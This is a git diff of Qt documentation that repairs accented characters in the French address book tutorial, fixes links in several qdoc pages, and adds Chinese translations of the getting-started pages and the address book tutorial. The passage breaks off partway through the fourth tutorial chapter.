mode \l{QIODevice::}{WriteOnly}. Si - cela choue, nous affichons un QMessageBox pour informer l'utilisateur - propos de l'origine du problme et nous quittons la mthode. Sinon, nous passons le - fichier comme paramtre pour crer un objet QTextStream, \c out. De la mme faon que - QDataStream, la classe QTextStream fournit les fonctionnalits pour - lire et crire des fichiers de texte. Grce cel, le fichier \c{.vcf} - gnr pourra tre ouvert et dit l'aide d'un simple diteur de texte. + cela échoue, nous affichons un QMessageBox pour informer l'utilisateur + à propos de l'origine du problème et nous quittons la méthode. Sinon, nous passons le + fichier comme paramètre pour créer un objet QTextStream, \c out. De la même façon que + QDataStream, la classe QTextStream fournit les fonctionnalités pour + lire et écrire des fichiers de texte. Grâce à celà, le fichier \c{.vcf} + généré pourra être ouvert et édité à l'aide d'un simple éditeur de texte. \snippet tutorials/addressbook/part7/addressbook.cpp export function part2 - Nous crivons ensuite un fichier vCard avec la balise \c{BEGIN:VCARD}, + Nous écrivons ensuite un fichier vCard avec la balise \c{BEGIN:VCARD}, suivit par \c{VERSION:2.1}. - Le nom d'un contact est crit l'aide de la balise \c{N:}. Pour la balise - \c{FN:}, qui remplit le titre du contact, nous devons vrifier si le contact - un nom de famille dfini ou non. Si oui, nous utilions les dtails de - \c nameList pour remplir le champ, dans le cas contraire on crit uniquement le contenu + Le nom d'un contact est écrit à l'aide de la balise \c{N:}. Pour la balise + \c{FN:}, qui remplit le titre du contact, nous devons vérifier si le contact + à un nom de famille défini ou non. Si oui, nous utilions les détails de + \c nameList pour remplir le champ, dans le cas contraire on écrit uniquement le contenu de \c firstName. \snippet tutorials/addressbook/part7/addressbook.cpp export function part3 - Nous continuons en crivant l'adresse du contact. Les points-virgules - dans l'adresse sont chapps l'aide de "\\", les retours de ligne sont - remplacs par des points-virgules, et les vigules sont remplaces par des espaces. - Finalement nous crivons les balises \c{ADR;HOME:;} suivies par l'adresse + Nous continuons en écrivant l'adresse du contact. Les points-virgules + dans l'adresse sont échappés à l'aide de "\\", les retours de ligne sont + remplacés par des points-virgules, et les vigules sont remplacées par des espaces. + Finalement nous écrivons les balises \c{ADR;HOME:;} suivies par l'adresse et la balise \c{END:VCARD}. \snippet tutorials/addressbook/part7/addressbook.cpp export function part4 - la fin de la mthode, un QMessageBox est affich pour informer l'utilisateur - que la vCard a t exporte avec succs. + À la fin de la méthode, un QMessageBox est affiché pour informer l'utilisateur + que la vCard a été exportée avec succès. - \e{vCard est une marque dpose de \l{http://www.imc.org} + \e{vCard est une marque déposée de \l{http://www.imc.org} {Internet Mail Consortium}}. */ diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index 5f42f28..4d55066 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -934,8 +934,8 @@ subcontrol. For items with a sub menu, the arrow marks are styled using the - \l{::right-arrow-sub}{right-arrow} and - \l{::left-arrow-sub}{left-arrow}. + \l{right-arrow-sub}{right-arrow} and + \l{left-arrow-sub}{left-arrow}. The scroller is styled using the \l{#scroller-sub}{::scroller}. diff --git a/doc/src/xml-processing/xml-patterns.qdoc b/doc/src/xml-processing/xml-patterns.qdoc index 1a9f76d..68056fd 100644 --- a/doc/src/xml-processing/xml-patterns.qdoc +++ b/doc/src/xml-processing/xml-patterns.qdoc @@ -65,8 +65,7 @@ \l{http://www.w3.org/TR/xpath20} {XPath 2.0} in Qt applications, for querying XML data \e{and} for querying \l{QAbstractXmlNodeModel} {non-XML data that can be modeled to - look like XML}. The QtXmlPatterns module is included in the \l{Qt - Full Framework Edition}, and the \l{Open Source Versions of Qt}. + look like XML}. Readers who are not familiar with the XQuery/XPath language can read \l {A Short Path to XQuery} for a brief introduction. @@ -83,7 +82,7 @@ First, the query opens a \c{<bibliography>} element in the output. The - \l{xquery-introduction.html#using-path-expressions-to-match-select-items} + \l{xquery-introduction.html#using-path-expressions-to-match-and-select-items} {embedded path expression} then loads the XML document describing the contents of the library (\c{library.xml}) and begins the search. For each \c{<book>} element it finds, where the publisher diff --git a/doc/src/xml-processing/xquery-introduction.qdoc b/doc/src/xml-processing/xquery-introduction.qdoc index 84e21ab..9306420 100644 --- a/doc/src/xml-processing/xquery-introduction.qdoc +++ b/doc/src/xml-processing/xquery-introduction.qdoc @@ -75,7 +75,7 @@ It creates a new \c{<html>} element in the output and sets its \c{id} attribute to be the \c{id} attribute from an \c{<html>} element in the \c{other.html} file. -\section1 Using Path Expressions To Match & Select Items +\section1 Using Path Expressions To Match And Select Items In C++ and Java, we write nested \c{for} loops and recursive functions to traverse XML trees in search of elements of interest. In XQuery, we diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc new file mode 100644 index 0000000..1c2f56b --- /dev/null +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page how-to-learn-qt.html + \title 如何学习 Qt + \brief Links to guides and resources for learning Qt. + \nextpage 教程 + + \section1 Getting Started + + 我们假定您已了解 C++， 并将用于 Qt 开发。有关将 Qt 与其他编程语言一起使用的更多信息，请参见 \l{Qt website}{Qt 网站}。 + + 如果你想仅使用 C++ 编程, 不使用任何设计工具而仅使用代码设计用户界面，请观看\l{教程}。这些教程是为您了解 Qt 编程量身定做的，并侧重于编写可用代码，而并非功能简介。 + + 如果您想使用设计工具来设计用户界面，则至少要阅读 \l{Qt Designer manual}{Qt 设计者手册}的前几章。 + + 现在您已经编写了一些小型可用的应用程序，并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目，但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解：\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 + + \beginfloatleft + \inlineimage qtdemo-small.png + \endfloat + + \section1 了解概况 + + 在这个阶段，我们建议您浏览一下\l{All Overviews and HOWTOs}{简介}，然后阅读与您项目相关的章节。您可能还会发现，浏览与您项目类似的\l{Qt Examples}{示例}的源代码也会对您有所帮助。由于 Qt 源代码已面向公众开放，您也可阅读 Qt 源代码。 + + 如果您运行\l{Examples and Demos Launcher}{示例和演示启动程序}，您就会看到许多正在使用的 Qt widget。 + + \l{Qt Widget Gallery} 还按照在不同支持平台上的使用风格提供了精选 Qt widget 简介。 + \clearfloat + + \section1 Books and Learning Materials + + Qt 附带大量文档，并全文带有超文本交叉引用，可轻松地点击了解自己想知道的内容。您使用最多的文档可能是 \l{index.html}{API 引用}。每个链接都提供了浏览 API 引用的不同方式，您可每个都尝试一下，看哪个更适合自己。您还可以尝试 \l{Qt Assistant}，这是随 Qt 附带的工具，可访问全部 Qt API，并提供全文本搜索功能。 + + 有大量的书籍是关于 Qt 编程的。有关 Qt 书籍的完整列表。 + We recommend the official Qt book, + \l{http://www.amazon.com/gp/product/0132354160/ref=ase_trolltech/}{C++ + GUI Programming with Qt 4, Second Edition} (ISBN 0-13-235416-0). + 本书从 "Hello Qt" 到高级功能（如多线程、2D 和 3D 图形、网络、内容视图类与 XML），全面详实地说明了 Qt 编程。（第一版基于 Qt 4.1，可\l{http://www.qtrac.eu/C++-GUI-Programming-with-Qt-4-1st-ed.zip}{在线}获得。） + + 包括不同语言的翻译版本，请参见\l{Books about Qt Programming}{有关 Qt 编程的书籍}。 + + 另一个有关实例代码和 Qt 功能说明的有用资源就是存档的 \l{Qt Quarterly}{Qt 季讯}文章，季讯是为 Qt 用户提供的新闻时讯。 + + 有关特定 Qt 模块和其他指南的文档，请参见\l{All Overviews and HOWTOs}。 + + \section1 Further Reading + + Qt has an active and helpful user community who communicate using + the \l{Qt Mailing Lists}{qt-interest} mailing list, the \l{Qt Centre} + Web site, and a number of other community Web sites and Weblogs. + In addition, many Qt developers are active members of the + \l{KDE}{KDE community}. + + 祝您好运并且学习愉快！ +*/ diff --git a/doc/src/zh_CN/getting-started/tutorials.qdoc b/doc/src/zh_CN/getting-started/tutorials.qdoc new file mode 100644 index 0000000..dc371d8 --- /dev/null +++ b/doc/src/zh_CN/getting-started/tutorials.qdoc @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page tutorials.html + \title 教程 + + \contentspage 如何学习 Qt + + \brief Tutorials, guides and overviews to help you learn Qt. + + A collection of tutorials and "walkthrough" guides are provided with Qt to + help new users get started with Qt development. These documents cover a + range of topics, from basic use of widgets to step-by-step tutorials that + show how an application is put together. + + \table + \row + \o{2,1} \l{Widgets 教程}{\bold Widgets} + \o{2,1} \l{地址簿教程}{\bold {地址簿}} + \row + \o \image widget-examples.png Widgets + \o + A beginner's guide to getting started with widgets and layouts to create + GUI applications. + + \o \image addressbook-tutorial.png 地址簿 + \o + A seven part guide to creating a fully-functioning address book + application. This tutorial is also available with + \l{Tutoriel "Carnet d'adresses"}{French explanation}. + + \row + \o{2,1} \l{A Quick Start to Qt Designer}{\bold{Qt Designer}} + \o{2,1} \l{Qt Linguist Manual: Programmers#Tutorials}{\bold {Qt Linguist}} + \row + \o \image designer-examples.png QtDesigner + \o + A quick guide through \QD showing the basic steps to create a + form with this interactive tool. + + \o \image linguist-examples.png QtLinguist + \o + A guided tour through the translations process, explaining the + tools provided for developers, translators and release managers. + + \row + \o{2,1} \l{QTestLib Tutorial}{\bold QTestLib} + \o{2,1} \l{qmake Tutorial}{\bold qmake} + \row + \o{2,1} + This tutorial gives a short introduction to how to use some of the + features of Qt's unit-testing framework, QTestLib. It is divided into + four chapters. + + \o{2,1} + This tutorial teaches you how to use \c qmake. We recommend that + you read the \l{qmake Manual}{qmake user guide} after completing + this tutorial. + + \endtable +*/ diff --git a/doc/src/zh_CN/tutorials/addressbook.qdoc b/doc/src/zh_CN/tutorials/addressbook.qdoc new file mode 100644 index 0000000..72349af --- /dev/null +++ b/doc/src/zh_CN/tutorials/addressbook.qdoc @@ -0,0 +1,673 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page tutorials-addressbook.html + + \startpage {index.html}{Qt Reference Documentation} + \contentspage 教程 + \nextpage {tutorials/addressbook/part1}{第一章} + + \title 地址簿教程 + \brief 本教程介绍了使用 Qt 跨平台框架的 GUI 编程。 + + 本教程介绍了使用 Qt 跨平台框架的 GUI 编程。 + + \image addressbook-tutorial-screenshot.png + + \omit + It doesn't cover everything; the emphasis is on teaching the programming + philosophy of GUI programming, and Qt's features are introduced as needed. + Some commonly used features are never used in this tutorial. + \endomit + + 在学习过程中，我们将了解部分 Qt 基本技术，如 + + \list + \o Widget 和布局管理器 + \o 容器类 + \o 信号和槽 + \o 输入和输出设备 + \endlist + + 如果您完全不了解 Qt，请阅读\l{How to Learn Qt}{如何学习 Qt}（如果您还未阅读）。 + + 教程的源代码位于 Qt 的 \c examples/tutorials/addressbook 目录下。 + + 教程章节： + + \list 1 + \o \l{tutorials/addressbook/part1}{设计用户界面} + \o \l{tutorials/addressbook/part2}{添加地址} + \o \l{tutorials/addressbook/part3}{浏览地址簿条目} + \o \l{tutorials/addressbook/part4}{编辑和删除地址} + \o \l{tutorials/addressbook/part5}{添加查找功能} + \o \l{tutorials/addressbook/part6}{加载和保存} + \o \l{tutorials/addressbook/part7}{附加功能} + \endlist + + 虽然这个小型应用程序看起来并不象一个成熟的现代 GUI 应用程序，但它使用多种用于更复杂应用程序的基本技术。在您完成学习之后，我们建议您查看一下\l{mainwindows/application}{应用程序}示例，它提供带有菜单、工具栏、状态栏等项目的小型 GUI 应用程序。 +*/ + +/*! + \page tutorials-addressbook-part1.html + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part2}{第二章} + \example tutorials/addressbook/part1 + \title 地址簿 1 — 设计用户界面 + + 本教程的第一部分讲述了用于地址簿应用程序的基本图形用户界面 (GUI) 的设计。 + + 创建 GUI 程序的第一步就是设计用户界面。在本章中，我们的目标是设置应用基本地址簿应用程序所需的标签和输入字段。下图为期望输出的屏幕截图。 + + \image addressbook-tutorial-part1-screenshot.png + + 我们需要使用两个 QLabel 对象：\c nameLabel 和 \c addressLabel，以及两个输入字段：QLineEdit 对象 \c nameLine 和 QTextEdit + 对象 \c addressText，这样用户才能输入联系人的姓名和地址。使用的 widget 及其位置如下图所示。 + + \image addressbook-tutorial-part1-labeled-screenshot.png + + 要应用地址簿需使用三个文件： + + \list + \o \c{addressbook.h} — AddressBook 类的定义文件， + \o \c{addressbook.cpp} — AddressBook 类的执行文件，以及 + \o \c{main.cpp} — 包含 \c main() 函数并带有 AddressBook 实例的文件。 + \endlist + + \section1 Qt 编程 — 使用子类 + + 在编写 Qt 程序时，我们通常使用 Qt 对象子类来添加功能。这是创建定制 widget 或标准 widget 集合的基本概念之一。使用子类扩展或改变 widget 的操作具有以下优势： + + \list + \o 我们可以编写虚函数或纯虚函数应用，以得到我们确切所需的功能，并在需要时再使用基本的类应用。 + \o 这样我们就可以在类中封装部分用户界面，应用程序的其他部分也就无需了解用户界面中单独使用的 widget。 + \o 可使用子类在同一应用程序或库中创建多个定制 widget，这样子类的代码可在其他项目重复使用。 + \endlist + + 由于 Qt 未提供特定的地址簿 widget，我们在标准的 Qt widget 类中使用子类，然后添加功能。我们在本教程中创建的 \c AddressBook 类在需要使用基本地址簿 widget 的情况下可重复使用。 + + \section1 定义 AddressBook 类 + + \l{tutorials/addressbook/part1/addressbook.h}{\c addressbook.h} 文件用于定义 \c AddressBook 类。 + + 我们从定义 \c AddressBook 为 QWidget 子类和声明构造器开始入手。我们还使用 Q_OBJECT 宏表明该类使用国际化功能与 Qt 信号和槽功能，即使在本阶段不会用到所有这些功能。 + + \snippet tutorials/addressbook/part1/addressbook.h class definition + + 该类包含了 \c nameLine 和 \c addressText 的声明、上文提到的 QLineEdit 和 QTextEdit 的私有实例。在以后章节中，您会看到储存在 \c nameLine 和 \c addressText 中的数据在地址簿的许多功能中都会用到。 + + 我们不必包含要使用的 QLabel 对象的声明，这是因为在创建这些对象后我们不必对其进行引用。在下一部分中，我们会说明 Qt 记录对象所属关系的方式。 + + Q_OBJECT 宏本身应用了部分更高级的 Qt 功能。 我们暂时把 Q_OBJECT 宏理解为使用 \l{QObject::}{tr()} 和 \l{QObject::}{connect()} 函数的快捷方式，这种理解对我们的学习更有用。 + + 我们现已完成 \c addressbook.h 文件，接下来我们来执行对应的 \c addressbook.cpp 文件。 + + \section1 应用 AddressBook 类 + + \c AddressBook 的构造器接收 QWidget 参数 \a parent。按惯例，我们将参数传递给基本类的构造器。这种父项可有一个或多个子项的所属概念对 Qt 中的 widget 分组十分有用。例如，如果删除父项，也会删除其所有子项。 + + \snippet tutorials/addressbook/part1/addressbook.cpp constructor and input fields + + 在该构造器中，我们声明并通过实例来表示两个局部 QLabel 对象 \c nameLabel 和 \c addressLabel，以及 \c nameLine 和 \c addressText。如果字符串已进行转换，则 \l{QObject::tr()}{tr()} 函数返回已转换的字符串，否则返回字符串本身。我们可以将此函数理解 \c{<insert translation here>} 标识来标记要进行转换 QString 对象。在以后章节和 \l{Qt Examples} 中，您会看到只要使用了可转换的字符串就是使用该函数。 + + 使用 Qt 编程时，了解布局是如何起作用的会对您很有帮助。Qt 提供三个主要布局类 QHBoxLayout、QVBoxLayout 和 QGridLayout 来处理 widget 的位置。 + + \image addressbook-tutorial-part1-labeled-layout.png + + 我们使用 QGridLayout 以结构化的方式放置标签和输入字段。QGridLayout 将可用空间分为网格，并将 widget 放置在指定了行列号的单元格中。上面的图表显示了布局单元格和 widget 的位置。我们通过以下代码指定这种排列方式： + + \snippet tutorials/addressbook/part1/addressbook.cpp layout + + 请注意，\c addressLabel 是使用作为附加参数的 Qt::AlignTop 来排放位置。这可确保其不会纵向放置在单元格 (1,0) 中央。有关 Qt 布局的基本简介，请参见\l{Layout Management}{布局类}文档。 + + 要在 widget 上安装布局对象，必须调用 widget 的 \l{QWidget::setLayout()}{setLayout()} 函数： + + \snippet tutorials/addressbook/part1/addressbook.cpp setting the layout + + 最后，我们将 widget 标题设置为“简单地址簿”。 + + \section1 运行应用程序 + + \c main() 函数使用单独的文件 \c main.cpp。在该函数中，我们实例化了 QApplication 对象 \c app。QApplication 负责管理多种应用范围的资源（如默认字体和光标），以及运行事件循环。因此，在每个使用 Qt 的 GUI 应用程序中都会有一个 QApplication 对象。 + + \snippet tutorials/addressbook/part1/main.cpp main function + + 我们使用 new 关键字在堆中构造一个新的 \c AddressBook widget，然后调用 \l{QWidget::show()}{show()} 函数对其进行显示。不过，该 widget 只有在应用程序事件循环开始时才会显示。我们通过调用应用程序的 \l{QApplication::}{exec()} 函数开始事件循环。该函数返回的结果作为 \c main() 函数的返回值。 +*/ + +/*! + \page tutorials-addressbook-part2.html + \previouspage 地址簿 1 — 设计用户界面 + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part3}{第三章} + \example tutorials/addressbook/part2 + \title 地址簿 2 — 添加地址 + + 创建基本地址簿应用程序的下一步是添加少许用户互动操作。 + + \image addressbook-tutorial-part2-add-contact.png + + 我们将提供一个按钮，用户可点击该按钮来添加新联系人。此外，还需要对数据结构进行限定，以便有序地储存这些联系人。 + + \section1 定义 AddressBook 类 + + 由于已经设置了标签和输入字段，我们只需添加按钮就可完成添加联系人这一步骤。也就是说，在 \c addressbook.h 文件中已经声明了三个 QPushButton 对象和三个对应的公共槽。 + + \snippet tutorials/addressbook/part2/addressbook.h slots + + 槽是对特殊信号进行响应的函数。我们将在应用 \c AddressBook 类时进一步详细说明这一概念。如需有关 Qt 信号和槽概念的简介，请参见\l{Signals and Slots}{信号和槽}文档。 + + 三个 QPushButton 对象分别是 \c addButton、\c submitButton 和 \c cancelButton，已与要在上一章中说明的 \c nameLine 和 \c addressText 一同包含在私有变量声明中。 + + \snippet tutorials/addressbook/part2/addressbook.h pushbutton declaration + + 我们需要一个容器来储存地址簿联系人，这样才能搜索和显示联系人。QMap 对象 \c contacts 就可实现此功能，因为其带有一个键-值对：联系人姓名作为键，而联系人地址作为\e{值}。 + + \snippet tutorials/addressbook/part2/addressbook.h remaining private variables + + 我们还会声明两个私有 QString 对象：\c oldName 和 \c oldAddress。这些对象用来保留在用户点击\gui{添加}时最后显示的联系人姓名和地址。这样，当用户点击\gui{取消}时，我们就可以返回至上一个联系人的详细信息。 + + \section1 应用 AddressBook 类 + + 在 \c AddressBook 构造器中，我们将 \c nameLine 和 \c addressText 设置为只读，这样就可仅显示而不必编辑现有联系人的详细信息。 + + \dots + \snippet tutorials/addressbook/part2/addressbook.cpp setting readonly 1 + \dots + \snippet tutorials/addressbook/part2/addressbook.cpp setting readonly 2 + + 然后，我们实例化以下按钮：\c addButton、\c submitButton 和 \c cancelButton。 + + \snippet tutorials/addressbook/part2/addressbook.cpp pushbutton declaration + + 显示 \c addButton 是通过调用 \l{QPushButton::show()}{show()} 函数实现的，而隐藏 \c submitButton 和 \c cancelButton 则需调用 \l{QPushButton::hide()}{hide()}。这两个按钮仅当用户点击\gui{添加}时才会显示，而此操作是通过在下文中说明的\c addContact() 函数处理的。 + + \snippet tutorials/addressbook/part2/addressbook.cpp connecting signals and slots + + 我们将按钮的 \l{QPushButton::clicked()}{clicked()} 信号与其相应的槽关联。下面的图表说明了此过程。 + + \image addressbook-tutorial-part2-signals-and-slots.png + + 接下来，我们将按钮整齐的排列在地址簿 widget 的右侧，使用 QVBoxLayout 将其进行纵向排列。 + + \snippet tutorials/addressbook/part2/addressbook.cpp vertical layout + + \l{QBoxLayout::addStretch()}{addStretch()} 函数用来确保按钮并不是采用均匀间隔排列的，而是更靠近 widget 的顶部。下图显示了是否使用 \l{QBoxLayout::addStretch()}{addStretch()} 的差别。 + + \image addressbook-tutorial-part2-stretch-effects.png + + 然后，我们使用 \l{QGridLayout::addLayout()}{addLayout()} 将 \c buttonLayout1 增加至 \c mainLayout。 这样我们就有了嵌套布局，因为 \c buttonLayout1 现在是 \c mainLayout 的子项。 + + \snippet tutorials/addressbook/part2/addressbook.cpp grid layout + + 布局坐标显示如下： + + \image addressbook-tutorial-part2-labeled-layout.png + + 在 \c addContact() 函数中，我们使用 \c oldName 和 \c oldAddress 储存最后显示的联系人详细信息。然后，我们清空这些输入字段并关闭只读模式。输入焦点设置在 \c nameLine，显示 \c submitButton 和 \c cancelButton。 + + \snippet tutorials/addressbook/part2/addressbook.cpp addContact + + \c submitContact() 函数可分为三个部分： + + \list 1 + \o 我们从 \c nameLine 和 \c addressText 提取联系人的详细信息，然后将其储存在 QString 对象中。我们还要验证确保用户没有在输入字段为空时点击\gui{提交}，否则，会显示 QMessageBox 提示用户输入姓名和地址。 + + \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part1 + + \o 我们接着继续检查是否联系人已存在。如果不存在，将联系人添加至 \c contacts，然后显示 QMessageBox 提示用户已添加联系人。 + + \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part2 + + 如果联系人已存在，还是会显示 QMessageBox 以提示用户，以免添加重复的联系人。由于 \c contacts 对象是基于姓名地址的键-值对，因此要确保键唯一。 + + \o 在处理了上述两种情况后，使用以下代码将按钮恢复为正常状态： + + \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part3 + + \endlist + + 下面的屏幕截图显示了用于向用户显示提示信息的 QMessageBox 对象。 + + \image addressbook-tutorial-part2-add-successful.png + + \c cancel() 函数恢复上次显示的联系人详细信息，并启用 \c addButton，还会隐藏 \c submitButton 和 + \c cancelButton。 + + \snippet tutorials/addressbook/part2/addressbook.cpp cancel + + 添加联系人的总体思想就是提高用户操作的灵活性，可在任何时候点击\gui{提交}或\gui{取消}。下面的流程图详细说明了此概念： + + \image addressbook-tutorial-part2-add-flowchart.png +*/ + +/*! + \page tutorials-addressbook-part3.html + \previouspage 地址簿 2 — 添加地址 + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part4}{第四章} + \example tutorials/addressbook/part3 + \title 地址簿 3 — 浏览地址簿条目 + + 构建地址簿应用程序现已进展过半。我们需要增加一些函数，以便浏览联系人。但首先要决定采用何种数据结构方式来储存这些联系人。 + + 在第二章中，我们使用了 QMap 键-值对，即联系人姓名作为\e{键}，而联系人地址作为\e{值}。这种方式很适合我们的实例。不过，要浏览和显示每个条目，还需要进行一些改进。 + + 我们改进 QMap 的方式是，将数据结构替换为类似循环链接的列表，其中所有元素都是相互关联的，包括第一个元素和最后一个元素。下图图解说明了该数据结构。 + + \image addressbook-tutorial-part3-linkedlist.png + + \section1 定义 AddressBook 类 + + 要给地址簿应用程序增加浏览功能，我们需要为 \c AddressBook 类再增加两个函数：\c next() 和 \c previous()。将这两个函数添加到 \c addressbook.h 文件中： + + \snippet tutorials/addressbook/part3/addressbook.h navigation functions + + 我们还需要使用其他两个 QPushButton 对象，因此将 \c nextButton 和 \c previousButton 声明为私有变量： + + \snippet tutorials/addressbook/part3/addressbook.h navigation pushbuttons + + \section1 应用 AddressBook 类 + + 在 \c AddressBook 的 \c addressbook.cpp 构造器中，我们实例化 \c nextButton 和 \c previousButton，并且这两项默认为禁用。这是因为仅当地址簿中有多个联系人时才会启用浏览功能。 + + \snippet tutorials/addressbook/part3/addressbook.cpp navigation pushbuttons + + 然后，我们将这两个按钮与其相应的槽关联： + + \snippet tutorials/addressbook/part3/addressbook.cpp connecting navigation signals + + 下图即为预期的图形用户界面。请注意，该用户界面已很接近应用程序最终的样子。 + + \image addressbook-tutorial-part3-screenshot.png + + 我们按照 \c next() 和 \c previous() 函数的基本规范，将 \c nextButton 放置在右侧，而 \c previousButton 放置在左侧。为了使布局更加直观，我们使用 QHBoxLayout 将 widget 并排放置： + + \snippet tutorials/addressbook/part3/addressbook.cpp navigation layout + + 然后，将 QHBoxLayout 对象 \c buttonLayout2 增加至 \c mainLayout。 + + \snippet tutorials/addressbook/part3/addressbook.cpp adding navigation layout + + 下图显示了 widget 在 \c mainLayout 中的坐标位置。 + + \image addressbook-tutorial-part3-labeled-layout.png + + 在 \c addContact() 函数中，我们必须禁用这几个按钮，这样用户就不会在增加联系人时尝试进行浏览。 + + \snippet tutorials/addressbook/part3/addressbook.cpp disabling navigation + + 此外，在 \c submitContact() 函数中，我们启用了浏览按钮 \c nextButton 和 \c previousButton，这取决于 \c contacts 的多少。如上文所述，浏览功能仅在地址簿中有多个联系人时才会启用。以下代码行说明了如何实现此功能： + + \snippet tutorials/addressbook/part3/addressbook.cpp enabling navigation + + 我们还在 \c cancel() 函数中加入这几行代码。 + + 记得我们曾使用 QMap 对象 \c contacts 模拟了一个循环链接的列表。因此，在 \c next() 函数中，我们获取 \c contacts 的迭代器，然后执行以下操作： + + \list + \o 如果迭代器未达到 \c contacts 结尾，就会增加一。 + \o 如果迭代器已达到 \c contacts 的结尾，就移至 \c contacts 的起始位置。这给人感觉 QMap 就像是一个循环链接的列表。 + \endlist + + \snippet tutorials/addressbook/part3/addressbook.cpp next() function + + 一旦在 \c contacts 中循环至正确的对象，就会通过 \c nameLine 和 \c addressText 显示对象的内容。 + + 同样，在 \c previous() 函数中，我们获取 \c contacts 的迭代器，然后执行以下操作： + + \list + \o 如果迭代器达到 \c contacts 的结尾，就清除显示内容，然后返回。 + \o 如果迭代器在 \c contacts 的起始位置，就将其移至结尾。 + \o 然后，将迭代器减一。 + \endlist + + \snippet tutorials/addressbook/part3/addressbook.cpp previous() function + + 接着，重新显示 \c contacts 中当前对象的内容。 +*/ + +/*! + \page tutorials-addressbook-part4.html + \previouspage 地址簿 3 — 浏览地址簿条目 + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part5}{第五章} + \example tutorials/addressbook/part4 + \title 地址簿 4 — 编辑和删除地址 + + 在本章中，我们将了解如何修改储存在地址簿应用程序中的联系人的内容。 + + \image addressbook-tutorial-screenshot.png + + 现有的地址簿不仅可以井井有条地储存联系人，还可进行浏览。再添加上编辑和删除功能，以便在需要时更改联系人的详细信息，这样更易于使用。不过，还需使用 enum 类型进行一些改进。在前几章中，我们使用以下两种模式：\c{AddingMode} 和 \c{NavigationMode}。但是，他们并未定义为 enum。我们是采用手动方式启用和禁用相应的按钮，这就导致有多行重复的代码。 + + 在本章中，我们定义带有以下三种不同值的 \c{Mode} enum 类型： + + \list + \o \c{NavigationMode}、 + \o \c{AddingMode} 和 + \o \c{EditingMode}。 + \endlist + + \section1 定义 AddressBook 类 + + \c addressbook.h 文件已更新为包含 Mode \c enum 类型： + + \snippet tutorials/addressbook/part4/addressbook.h Mode enum + + 我们还要向当前的公有槽列表增加两个新槽：\c editContact() 和 \c removeContact()。 + + \snippet tutorials/addressbook/part4/addressbook.h edit and remove slots + + 为了在模式间切换，我们引入了 \c updateInterface() 函数来控制所有 QPushButton 